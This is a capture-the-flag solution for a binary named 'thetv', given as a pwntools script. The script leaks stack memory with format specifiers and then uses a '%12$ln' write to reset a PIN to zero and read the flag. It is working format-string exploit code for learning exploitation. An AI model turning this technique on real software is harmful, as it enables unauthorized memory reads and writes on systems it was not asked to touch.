thetv

#format-string#solution-only

Contents

Solution

#!/usr/bin/env python3

from pwn import *
from termcolor import colored

exe = ELF("./thetv")
context.binary = exe



def conn():
    if args.REMOTE:
        print("NO")
        quit()
        #r = remote("")
    else:
        r = process([exe.path])
    return r


# a gadget to read memory
def read_mem(n):
    r = process([exe.path])
    mem = b''
    for i in range(1, n+1):
        r.sendline(b'p')
        r.sendline(("%" + str(i) + "$p").encode("ascii"))
        r.recvuntil(b'You say: ')
        leak = r.recvuntil(b'\n').strip(b'\n')
        mem += leak + b', '
    mem = mem.split(b', ')
    for i in range(len(mem)-1):
        temp =  (str(i + 1) + ": ").ljust(5, " ")
        temp += mem[i].decode("ascii")
        print(temp)


def main():
    read_mem(20)
    r = conn()

    # programming mode
    r.sendline(b'p')

    # edit pin to 0
    r.sendline(b'%12$ln')

    # channel switching mode
    r.sendline(b'c')

    # confirm
    r.sendline(b'y')

    # get the flag
    r.sendline(b'6')

    # enter the edited pin
    r.sendline(b'0')

    # throw away garbage
    r.recvuntil(b'pin in\n')

    flag = r.clean().strip(b'\n').decode("ascii")
    print()
    print(flag)
    print()



    r.close()

if __name__ == "__main__":
    main()